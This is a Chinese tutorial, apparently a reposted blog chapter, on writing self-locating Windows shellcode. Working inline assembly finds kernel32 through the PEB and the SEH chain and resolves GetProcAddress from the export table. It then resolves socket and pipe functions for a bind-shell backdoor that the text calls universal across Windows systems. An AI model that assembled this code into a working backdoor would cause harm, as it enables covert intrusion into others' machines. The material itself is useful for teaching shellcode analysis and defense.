1.7 完善自定位ShellCode

news2024/12/25 23:42:38

在之前的文章中,我们实现了一个正向的匿名管道ShellCode后门,为了保证文章的简洁易懂并没有增加针对调用函数的动态定位功能,此类方法在更换系统后则由于地址变化导致我们的后门无法正常使用,接下来将实现通过PEB获取GetProcAddrees函数地址,并根据该函数实现所需其他函数的地址自定位功能,通过枚举内存导出表的方式自动实现定位所需函数的动态地址,从而实现后门的通用性。

1.7.1 通过PEB定位GetProcAddress

通过在第4.5章中笔者已经完整的分析并实现了定位kernel32.dll模块基地址的详细分析流程,以下将直接利用PEB查找kernerl32地址,读者可根据自身需求跳转到相应文章中学习理解,本章只给出实现流程;

  • 1.定位FS寄存器,FS寄存器指向TEB结构
  • 2.在结构TEB+0x30的地方指向的是PEB结构
  • 3.在PEB+0x0C的地方指向PEB_LDR_DATA结构
  • 4.在PEB_LDR_DATA+0x1C地方的第二个数组内存出的就是kernel32.dll地址
#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    __asm
    {
        mov eax, fs:0x30        ; PEB的地址
        mov eax, [eax + 0x0c]   ; Ldr的地址
        mov esi, [eax + 0x1c]   ; Flink地址
        lodsd
        mov eax, [eax + 0x08]   ; eax就是kernel32.dll的地址
        mov Kernel32,eax
    }
    system("pause");
    return 0;
}

运行上述程序则读者可获取到kernel32.dll模块的内存地址0x75B20000,输出效果图如下所示;

既然拿到了当前模块的基地址,下一步则是通过该地址寻找到GetProcAddress的内存地址,而GetProcAddress是在kernel32.dll模块中的导出函数,所以我们可通过查找kernel32.dll的导出表来找到GetProcAddress函数的内存地址。

首先导出表的结构定义如下所示;

Typedef struct _IMAGE_EXPORT_DIRECTORY
{
 Characteristics; 4
 TimeDateStamp 4         # 时间戳
 MajorVersion 2          # 主版本号
 MinorVersion 2          # 子版本号
 Name 4                  # 模块名
 Base 4                  # 基地址,加上序数就是函数地址数组的索引值
 NumberOfFunctions 4     # EAT导出表条目数
 NumberOfNames 4         # ENT导出函数名称表
 AddressOfFunctions 4    # 指向函数地址数组
 AddressOfNames 4        # 函数名字的指针地址
 AddressOfNameOrdinal 4  # 指向输出序列号数组
}

其中的字段含义:

NumberOfFunctions字段:为AddressOfFunctions指向的函数地址数组的个数;
NumberOfName字段:为AddressOfNames指向的函数名称数组的个数;
AddressOfFunctions字段:指向模块中所有函数地址的数组;
AddressOfNames字段:指向模块中所有函数名称的数组;
AddressOfNameOrdinals字段:指向AddressOfNames数组中函数对应序数的数组;

当读者需要在Kernel32.dll模块内查询GetProcAddress的地址时,可以采用如下所示的实现流程;

  • 1.通过寻找TEB/PEB并在其中获取kernel32.dll模块基址
  • 2.在(基址+0x3c)处获取e_lfanewc此处代表的是PE模块的标志
  • 3.在(基址+e_lfanew+0x78)处获取导出表地址
  • 4.在(基址+export+0x1c)处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
  • 5.搜索AddressOfNames来确定GetProcAddress所对应的index
  • 6.下标index = AddressOfNameOrdinalse [ index ]提取到,此时函数地址就存储在AddressOfFunctions [ index ]

如上流程所示,我们查找GetProcAddress的地址,就在函数名称数组中,搜索GetProcAddress的名称;找到后根据编号,在序号数组中,得到它对应的序号值;最后根据序号值,在地址数组中,提取出它的地址。其汇编代码如下,并给出了详细的解释。

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    __asm
    {
            // 得到Kernel32基址
            mov eax, fs:0x30        ; PEB的地址
            mov eax, [eax + 0x0c]   ; Ldr的地址
            mov esi, [eax + 0x1c]   ; Flink地址
            lodsd                   ;加载字符串
            mov eax, [eax + 0x08]  ; kernel32.dll基址

            // 定位到导出表
            mov ebp, eax                ; 将基址存入ebp
            mov eax, [ebp + 3Ch]        ; eax = PE首部
            mov edx, [ebp + eax + 78h]  ; 导出表地址
            add edx, ebp                ; edx = 导出表地址
            mov ecx, [edx + 18h]        ; ecx = 输出函数的个数
            mov ebx, [edx + 20h]
            add ebx, ebp                ; ebx =函数名地址,AddressOfName

        search :
            dec ecx
            mov esi, [ebx + ecx * 4]
            add esi, ebp                ; 依次找每个函数名称

            // 枚举寻找GetProcAddress
            mov eax, 0x50746547
            cmp[esi], eax; 'PteG'
            jne search
            mov eax, 0x41636f72
            cmp[esi + 4], eax; 'Acor'
            jne search

            // 如果是GetProcAddr则计算导出地址
            mov ebx, [edx + 24h]
            add ebx, ebp              ; ebx = 序号数组地址, AddressOf
            mov cx, [ebx + ecx * 2]   ; ecx = 计算出的序号值
            mov ebx, [edx + 1Ch]
            add ebx, ebp              ; ebx=函数地址的起始位置,AddressOfFunction
            mov eax, [ebx + ecx * 4]
            add eax, ebp              ; 利用序号值,得到出GetProcAddress的地址
    }

    system("pause");
    return 0;
}

读者需要自行在反汇编末尾add eax,ebp设置一个断点,然后运行程序,观察eax中的数据可知,当前GetProcAddress的地址为0x75c39570,输出效果图如下所示;

1.7.2 汇编实现动态定位功能

有了上述功能的支持,动态定位的实现将变得格外容易,首先我们通过动态定位的方式确定GetProcAddress的内存地址,该函数接收一个字符串参数,则我们通过push的方式将字符串的十六进制依次压栈保存,然后通过call [ebp+76]调用也就是调用GetProcAddress函数来动态得到内存地址,当得到地址后默认存储在EAX寄存器内,此时则通过mov [ebx+]的方式依次填充至通过sub esp,80分配的局部空间内等待被调用。

首先实现该功能的前提是我们需要得到特定字符串所对应的十六进制值,并将该值以32位模式切割,这段代码可以使用Python语言非常快捷的实现转换,如下所示,当读者运行后则会输出我们所需函数字符串的十六进制形式;

import os,sys

# 传入字符串转为机器码
def StringToHex(String):
    # 将字符串转换成字节串
    byte_str = String.encode()
    # 将字节串转换成16进制字符串
    hex_str = byte_str.hex()
    # 将16进制字符串分割成32位一组,并用0填充不足32位的部分
    hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
    # 用空格连接每组32位的16进制字符串
    result = ' '.join(hex_list)
    return result

if __name__ == "__main__":

    MyList = [
        "LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
        "ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
        "send","recv","Ws2_32"
    ]

    for index in range(0,len(MyList)):
        print("[*] 函数 = {:18s} | 压缩数据: {}".format(MyList[index],StringToHex(MyList[index])))

运行上述代码片段,读者可得到函数的十六进制形式,并以32位作为切割,不足32位的则使用0补齐,如下图所示;

首先我们以CreatePipe函数为例,该函数字符串压缩数据为43726561,74655069,70650000,而由于堆栈的后进先出特性,我们需要将其翻转过来存储,翻转过来则是00006570,69506574,61657243,又因为当前GetProcAddress函数的内存地址被存储在了ebp+76的位置,则通过CALL该地址则可实现调用函数的目的,当执行结束后则将返回值放入到EAX寄存器内,此时只需要根据不同的变量空间mov [ebp+]来赋值到不同变量内即可;

push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi 
call [ebp+76]
mov [ebp+4], eax; CreatePipe 

接着我们再来说一下WSAStartup函数,该函数显然不在kernel32.dll模块内,它在Ws2_32.dll模块内,我们需要先调用call [ebp+80]也就是调用LoadLibrary加载ws2_32.dll模块获取该模块的基地址,接着在通过call [ebp+76]调用获取该模块中WSAStartup函数的基址,但读者需要注意的是,call [ebp+76]时需要压入两个参数,其中push edi带指的是ws2_32.dll的字符串,而push esp才是我们的WSAStartup字符串,其描述为高级语言则是GetProcAddress("Ws2_32.dll","WSAStartup")形式;

push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax 

push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

根据上述提取原则,读者可以自行提取代码片段并替换特定位置的字符串,最终可得到如下所示的一段自定位ShellCode代码片段,该片段运行后则可将我们所需要的函数内存地址枚举出来并放到临时变量中,等待我们使用;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
        push ebp;
        sub esp, 100;
        mov ebp, esp;

        mov eax, fs:0x30
        mov eax, [eax + 0x0c]
        mov esi, [eax + 0x1c]
        lodsd
        mov edi, [eax + 0x08]

        mov eax, [edi + 3Ch]
        mov edx, [edi + eax + 78h]
        add edx, edi
        mov ecx, [edx + 18h]
        mov ebx, [edx + 20h]
        add ebx, edi
    search :
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, edi
    ; GetProcAddress
        mov eax, 0x50746547
        cmp[esi], eax; 'PteG'
        jne search
        mov eax, 0x41636f72
        cmp[esi + 4], eax; 'Acor'
        jne search

    ; 如果是GetProcA表示找到
        mov ebx, [edx + 24h]
        add ebx, edi
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + 1Ch]
        add ebx, edi
        mov eax, [ebx + ecx * 4]
        add eax, edi
    ; 把GetProcAddress的地址存在ebp + 76中
        mov[ebp + 76], eax

        push 0x0
        push dword ptr 0x41797261
        push dword ptr 0x7262694c
        push dword ptr 0x64616f4c
        push esp
        push edi
        call[ebp + 76]
    ; 把LoadLibraryA的地址存在ebp+80中
        mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c

        push dword ptr 0x00006570
        push dword ptr 0x69506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243

        push dword ptr 0x00004173
        push dword ptr 0x7365636f
        push dword ptr 0x72506574
        push dword ptr 0x61657243
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243

        push dword ptr 0x00000065
        push dword ptr 0x70695064
        push dword ptr 0x656d614e
        push dword ptr 0x6b656550
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550

        push dword ptr 0x00000065
        push dword ptr 0x6c694665
        push dword ptr 0x74697257
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257

        push dword ptr 0
        push dword ptr 0x656c6946
        push dword ptr 0x64616552
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 20], eax; ReadFile

        push dword ptr 0x00737365
        push dword ptr 0x636f7250
        push dword ptr 0x74697845
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845

        push dword ptr 0x00003233
        push dword ptr 0x5f327357
        push esp
        call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
        mov edi, eax

        push dword ptr 0x00007075
        push dword ptr 0x74726174
        push dword ptr 0x53415357
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357

        push dword ptr 0x00007465
        push dword ptr 0x6b636f73
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 32], eax; socket 0x00007465 0x6b636f73

        push dword ptr 0
        push dword ptr 0x646e6962
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 36], eax; bind 0x646e6962

        push dword ptr 0x00006e65
        push dword ptr 0x7473696c
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 40], eax; listen 0x00006e65 0x7473696c

        push dword ptr 0x00007470
        push dword ptr 0x65636361
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 44], eax; accept 0x00007470 0x65636361

        push 0
        push dword ptr 0x646e6573
        push esp
        push edi
        call[ebp + 76]
        mov[ebp + 48], eax; send 0x646e6573

        push 0
        push dword ptr 0x76636572
        push esp
        push edi
        call [ebp + 76]
        mov [ebp + 52], eax; recv 0x76636572
    }

    system("pause");
    return 0;
}

读者可在特定位置下断定,并切换到汇编模式,例如读者可在system("pause")上面下断点,当运行后切换到自动窗口,则可看到EAX=0x76c323a0的内存地址,此地址正是recv函数的内存地址,如下图所示;

至此我们通过自定位的方式实现了对函数内存的枚举,读者可通过将本案例中的定位代码自行拷贝并替换到上一篇文章中,此时我们就实现了一个完整的ShellCode通用后门程序,该程序可在任意Windows系统下被正确执行;

1.7.3 运用SEH链获得Kernel32基址

SEH (Structured Exception Handling) 异常处理链是一种数据结构,用于维护和跟踪在程序运行时发生的异常的处理程序的调用关系。当程序在执行期间发生异常时,SEH 异常处理链会按照一定的顺序遍历链表中的异常处理程序,直到找到一个能够处理该异常的程序为止。

在SEH链表中存在一个默认异常处理函数UnhandledExceptionFilter当程序在执行期间遇到未处理的异常时,操作系统会调用UnhandledExceptionFilter函数来捕获该异常,并且该函数会返回一个特定的值,告诉操作系统如何处理该异常。

UnhandledExceptionFilter 指针是在异常链的最后,它的上一个值是指向下一个处理点的地址。因为后面没有异常处理点了,所以会被表示为0xFFFFFFFF

有了这个原理那么我们就可以搜索异常处理链表,得到UnhandledExceptionFilter的内存地址,首先我们通过mov esi,fs:0得到线程的TLS也就是线程本地存储的指针,然后通过循环的方式向下遍历,直到遍历到指针的最后,此时也就得到了UnhandledExceptionFilter的地址,如下代码片段则可输出该地址;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否则继续遍历
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]
        mov address,eax
    }

    printf("UnhandledExceptionFilter = %x \n", address);

    system("pause");
    return 0;
}

执行如上汇编指令,则可获取到UnhandledExceptionFilter的内存地址,此处输出结果如下图所示;

此时我们已经得到了UnhandledExceptionFilter函数的内存地址,由于该函数是Kernel32.dll里面的导出函数,所以我们就从UnhandledExceptionFilter函数的地址往上找,找到开头的地方,自然就是Kerner32的基地址了。

此外由于Kerner32模块也是可执行文件,其开始标志同样是MZPE,而且因为系统分配某个空间时,总要从一个分配粒度的边界开始,在32位下,这个粒度是64KB。所以我们搜索时,可以按照64kb递减往低地址搜索,当到了MZPE标志时,也就找到了Kernel32的基地址。实现代码如下:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");

    DWORD address = 0;

    __asm
    {
        mov esi, fs:0;
        lodsd;

    GetExeceptionFilter:
        cmp[eax],0xffffffff
        je GetedExeceptionFilter     ; 到最后
        mov eax, [eax]               ; 否则继续遍历
        jmp GetExeceptionFilter

    GetedExeceptionFilter:
        mov eax, [eax + 4]

    FindMZ :
           and eax, 0xffff0000        ; 64k对齐特征
           cmp word ptr[eax], 'ZM'    ; 判断是不是MZ格式
           jne MoveUp
           mov ecx, [eax + 0x3c]
           add ecx, eax
           cmp word ptr[ecx], 'EP'     ; 判断是不是PE
           je Found                    ; 找到了
    MoveUp :
            dec eax                    ; 指向下一个界起始地址
            jmp FindMZ
    Found :
            mov address, eax
        nop
    }

    printf("Kernel32 = %x \n", address);

    system("pause");
    return 0;
}

编译并运行上述汇编代码,则可以输出kernel32.dll模块的基地址,输出效果如下所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/a6bb88a7.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/950044.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手写RPC——数据序列化工具protobuf

手写RPC——数据序列化工具protobuf Protocol Buffers&#xff08;protobuf&#xff09;是一种用于结构化数据序列化的开源库和协议。下面是 protobuf 的一些优点和缺点&#xff1a; 优点&#xff1a; 高效的序列化和反序列化&#xff1a;protobuf 使用二进制编码&#xff0c…

QTableWidget实现鼠标悬停整行高亮显示

一、最终效果 二、 重写QTableWidget类 mytablewidget.h #ifndef MYTABLEWIDGET_H #define MYTABLEWIDGET_H#include <QTableWidget>class MyTableWidget : public QTableWidget { public:explicit MyTableWidget(QWidget* parent nullptr);protected:void leaveEve…

一页纸吃透PMP常考知识点!

我是胖圆~需要文档可留言 或者移步公众号【胖圆说PM】找我

根据身高重建队列【贪心算法】

根据身高重建队列 假设有打乱顺序的一群人站成一个队列&#xff0c;数组 people 表示队列中一些人的属性&#xff08;不一定按顺序&#xff09;。每个 people[i] [hi, ki] 表示第 i 个人的身高为 hi &#xff0c;前面 正好 有 ki 个身高大于或等于 hi 的人。 请你重新构造并返…

色温曲线坐标轴的选取:G/R、G/B还是R/G、B/G ?

海思色温曲线坐标 Mstar色温曲线坐标 高通色温曲线坐标 联咏色温曲线坐标 查看各家白平衡调试界面&#xff0c;比如海思、Mstart、高通等调试资料&#xff0c;白平衡模块都是以R/G B/G作为坐标系的两个坐标轴&#xff0c;也有方案是以G/R G/B作为坐标系的两个坐标轴。 以G/R G…

考生作弊行为分析算法

考生作弊行为分析系统利用pythonyolo系列网络模型算法框架&#xff0c;考生作弊行为分析算法利用图像处理和智能算法对考生的行为进行分析和识别&#xff0c;经过算法服务器的复杂计算和逻辑判断&#xff0c;算法将根据考生行为的特征和规律&#xff0c;判定是否存在作弊行为。…

Vue中如何为Echarts统计图设置数据

在前端界面接收后端数据后&#xff0c;将数据赋值给ECharts中的data时出现了&#xff0c;数据读取失败的问题&#xff08;可能是由于数据渲染的前后顺序问题&#xff09;。后通过如下方式进行了解决&#xff1a; 1、接下来将介绍UserController中的countUsers方法&#xff0c;…

为什么2G、3G、4G成功了,5G却?

你可能已经多年来一直听到关于闪电般的5G的炒作。虽然新的无线网络在美国仍然没有普及&#xff0c;但5G正在波士顿和西雅图到达拉斯和堪萨斯城等城市慢慢出现。随着连接速度的加快&#xff0c;用户的安全性和隐私保护将增加&#xff0c;因为无线行业试图改善3G和4G的防御。但是…

K8S最新版本集群部署(v1.28) + 容器引擎Docker部署(下)

温故知新 &#x1f4da;第三章 Kubernetes各组件部署&#x1f4d7;安装kubectl&#xff08;可直接跳转到安装kubeadm章节&#xff0c;直接全部安装了&#xff09;&#x1f4d5;下载kubectl安装包&#x1f4d5;执行kubectl安装&#x1f4d5;验证kubectl &#x1f4d7;安装kubead…

文件上传漏洞复现(CVE-2018-2894)

文章目录 搭建环境启动环境漏洞复现 前提条件&#xff1a; 1.安装docker docker pull medicean/vulapps:j_joomla_22.安装docker-compose docker run -d -p 8000:80 medicean/vulapps:j_joomla_23.下载vulhub 搭建环境 进入vulhb目录下的weblogic&#xff0c;复现CVE-2018-289…

修改linux中tomcat的端口

随便修改一个 以8055为例子 开放8081端口 firewall-cmd --permanent --add-port8081/tcp firewall-cmd --reload firewall-cmd --list-all

three.js(七):内置的二维几何体

二维几何体 PlaneGeometry 矩形平面CircleGeometry 圆形平面RingGeometry 圆环平面 PlaneGeometry 矩形平面 PlaneGeometry(width : Float, height : Float, widthSegments : Integer, heightSegments : Integer) width — 平面沿着X轴的宽度。默认值是1。height — 平面沿着Y…

从格灵深瞳中报稳定盈利,看AI公司的核心竞争力

2023年过半&#xff0c;人工智能产业话题不断。大模型和AIGC掀起热潮&#xff0c;让众多AI公司开始进入新一轮竞赛。但与此同时&#xff0c;不少AI公司依然处于亏损中&#xff0c;研发投入和商业产出难以实现正循环。如何形成健康的商业模式&#xff0c;仍是一大挑战。 AI公司…

【Linux操作系统】文件缓冲区

&#x1f525;&#x1f525; 欢迎来到小林的博客&#xff01;&#xff01;       &#x1f6f0;️博客主页&#xff1a;✈️林 子       &#x1f6f0;️博客专栏&#xff1a;✈️ Linux       &#x1f6f0;️社区 :✈️ 进步学堂       &#x1f6f0…

设计模式--代理模式(Proxy Pattern)

一、什么是代理模式&#xff08;Proxy Pattern&#xff09; 代理模式&#xff08;Proxy Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许一个对象&#xff08;代理&#xff09;充当另一个对象&#xff08;真实对象&#xff09;的接口&#xff0c;以控制对该对象的…

DSP_TMS320F28377D_算法加速方法2_添加浮点运算快速补充库rts2800_fpu32_fast_supplement.lib

继上一篇博客DSP_TMS320F28377D_算法加速方法1_拷贝程序到RAM运行_江湖上都叫我秋博的博客-CSDN博客之后&#xff0c;本文讲第二种DSP算法加速的方法&#xff0c;该方法的加速效果很明显&#xff0c;但是加速范围仅限于32位浮点数下面这几种函数: 1 工程师的关注点 下面稍微解…

CentOS8安装mysql8.0.24

一、下载mysql安装包并解压 执行以下命令&#xff1a; # 创建mysql安装目录 mkdir /usr/local/mysql # 进入mysql安装目录 cd /usr/local/mysql/ # 下载mysql-8.0.24 wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.24-linux-glibc2.12-x86_64.tar.xz # 解压…

防静电出入门禁管理系统的功能和特点

防静电出入门禁管理系统是一种应用于电子设备生产、仓储物流等领域的门禁系统&#xff0c;旨在防止静电对于设备和产品的损害和干扰。该系统主要包括以下几个方面的功能和特点&#xff1a; 1. 门禁控制功能&#xff1a;通过在入口设置读卡器或生物识别设备&#xff08;如指纹、…

Java处理 CDT时区转换CST时区

例如&#xff1a;夏令营时间&#xff08;“Sat Aug 01 00:00:00 CDT 1987”&#xff09; //TODO CDT时区转换CST时区Date date new Date(value);TimeZone cdtTZ TimeZone.getTimeZone("America/Chicago");TimeZone cstTZ TimeZone.getTimeZone("America/Mexi…

SQL server数据库-定制查询-指定查询列/行、结果排序和Like模糊查询

本篇讲述进阶查询方法&#xff0c;如有语句不明确&#xff0c;可跳转本文专栏学习基础语法 1、指定列查询 特点 只会显示你输入的列的数据&#xff0c;会根据你输入的顺序进行显示&#xff0c;可以自定义查询显示时的列名 &#xff08;1&#xff09;只会显示你输入的列的数…